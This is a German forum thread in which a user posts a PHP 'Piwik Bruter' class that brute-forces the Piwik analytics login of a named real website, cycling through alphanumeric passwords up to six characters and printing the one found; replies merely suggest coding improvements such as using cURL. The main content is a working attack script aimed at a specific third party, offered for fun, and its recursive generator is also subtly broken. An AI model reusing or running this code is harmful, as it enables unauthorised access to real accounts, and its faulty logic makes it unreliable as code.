DotNet (03.09.2015)
Thema: [PHP] PIWIK Bruter
-
04.01.2012, 07:11 #1
- Registriert seit
- 10.06.2012
- Beiträge
- 55
Thanked 23 Times in 12 Posts[PHP] PIWIK Bruter
Hallo hier möchte ich euch meine Piwik Bruter Klasse in PHP vorstellen.
Die Klasse ist nur aus Langweile entstanden, ich werde dazu keinerlei Support geben und auch keine Fragen wie z.B. "Wie Funktioniert das?" beantworten.
Ich wünsche euch trotzdem viel Spaß damit
PHP-Code:<?php
/*
** author xtp57
*/
class brute_PIWIK {
private function PostRequest($url, $referer, $data, $cookie) {
$url = parse_url($url);
$host = $url['host'];
$path = $url['path'];
$fp = fsockopen($host, 8080);
if($data == "") {
$typ = "GET";
}else{
$typ = "POST";
}
fputs($fp, $typ." $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\r\n");
if($referer != "") {
fputs($fp, "Referer: $referer\r\n");
}
if($cookie != "") {
fputs($fp, "Cookie: ".$cookie."\r\n");
}
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ". strlen($data) ."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
if($data != "") {
fputs($fp, $data);
}
$result = '';
while(!feof($fp)) {
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
private function getHiddenFormID($content) {
$regex = '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#';
preg_match_all($regex, $content, $match);
return $match[1][0];
}
private function getPIWIK_SESSID($content) {
$regex = '#Set-Cookie: (.*?);#';
preg_match_all($regex, $content, $match);
return $match[1][0];
}
private function brute($width)
{
$position = 0;
$charset = "";
$charset .= "abcdefghijklmnopqrstuvwxyz";
$charset .= "1234567890";
$charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
//$charset .= "äöüÄÖÜß";
//$charset .= "!"§$%&/()=?,.-#+"; //sonderzeichen usw.
$charset_length = strlen($charset);
for ($i = 0; $i < $charset_length; ++$i) {
if ($position < $width - 1) {
$this->brute($width, $position + 1);
}
$this->checkLogin($charset[$i]);
}
}
private function checkLogin($password) {
$content = $this->PostRequest("http://track.knuddels.de/piwik/", "http://track.knuddels.de:8080/piwik/", "", "");
$session = $this->getPIWIK_SESSID($content);
$hiddenID = $this->getHiddenFormID($content);
$content = $this->PostRequest("http://track.knuddels.de/piwik/", "http://track.knuddels.de:8080/piwik/", "form_login=piwik&form_password=".$password."&form_nonce=".$hiddenID, $session);
$count = substr_count($content, "Password not correct");
if($count == 0) {
print "<center><h1>Passwort gefunden!<br>Passwort: <b>".$password."</b></h1><center>\n";
exit;
} else {
//print $password." = FAIL!<br>\n";
}
}
}
$start = new brute_PIWIK();
$stellen = 6; //Anzahl der maximalen Pw Länge.
$start->brute($stellen);
/*
** Have fun :-)
*/
?>
-
04.01.2012, 10:46 #2
- Registriert seit
- 15.11.2011
- Beiträge
- 6.210
- Blog Entries
- 5
Thanked 9.131 Times in 3.006 Posts[PHP] PIWIK Bruter
Bei GET-Requests wird keine Content-Length angegeben, da es keinen Content im Body gibt.
Cookies kann man wesentlich performanter als mit Regex auslesen. Den Header ist vom Content mit 2 Zeilenumbrüchen getrennt.
Beim auslesen der ID benutzt du dasselbe Wildcard-Pattern
PHP-Code:$regex = '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#';
Btw ist das ein Regex-Pattern, und kein regulärer Ausdruck.
PHP ist imho auch nicht die geeignetste Sprache für sowas (time_limit & co).
-
09.06.2012, 03:21 #3
- Registriert seit
- 01.07.2011
- Beiträge
- 103
Thanked 54 Times in 45 Posts[PHP] PIWIK Bruter
Cookies kann man wesentlich performanter als mit Regex auslesen.
cURL bietet doch das storen/nutzen von Cookies von Hause aus an. Das ganze nent sich bei den Optionen COOKIEJAR oder sowas.
-
09.06.2012, 03:37 #4
- Registriert seit
- 17.02.2012
- Beiträge
- 21
Thanked 4 Times in 4 Posts[PHP] PIWIK Bruter
wenn man vielleicht kein cURL zur verfügung hat?
-
09.06.2012, 12:26 #5
- Registriert seit
- 01.07.2011
- Beiträge
- 103
Thanked 54 Times in 45 Posts[PHP] PIWIK Bruter
Komm jetzt nicht damit, des ist doch schon mittlerweile (fast bei jedem) Standardmäßig als PHP-Modul installiert - Selbst auf Freehostern.
-
The Following User Says Thank You to Batzi For This Useful Post:
Ähnliche Themen
-
PSC-Bruter?!
Von Baumstumpf im Forum OffTopicAntworten: 1Letzter Beitrag: 28.11.2012, 17:35 -
Bruter Algorhytmus
Von Essah im Forum HochsprachenAntworten: 7Letzter Beitrag: 23.10.2012, 22:34 -
Problem Knuddels Bruter
Von Knuddels im Forum Knuddels BotsAntworten: 0Letzter Beitrag: 20.08.2012, 00:48 -
Gibt es noch Bruter
Von Kosi im Forum Knuddels AllgemeinAntworten: 6Letzter Beitrag: 26.11.2011, 22:21
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.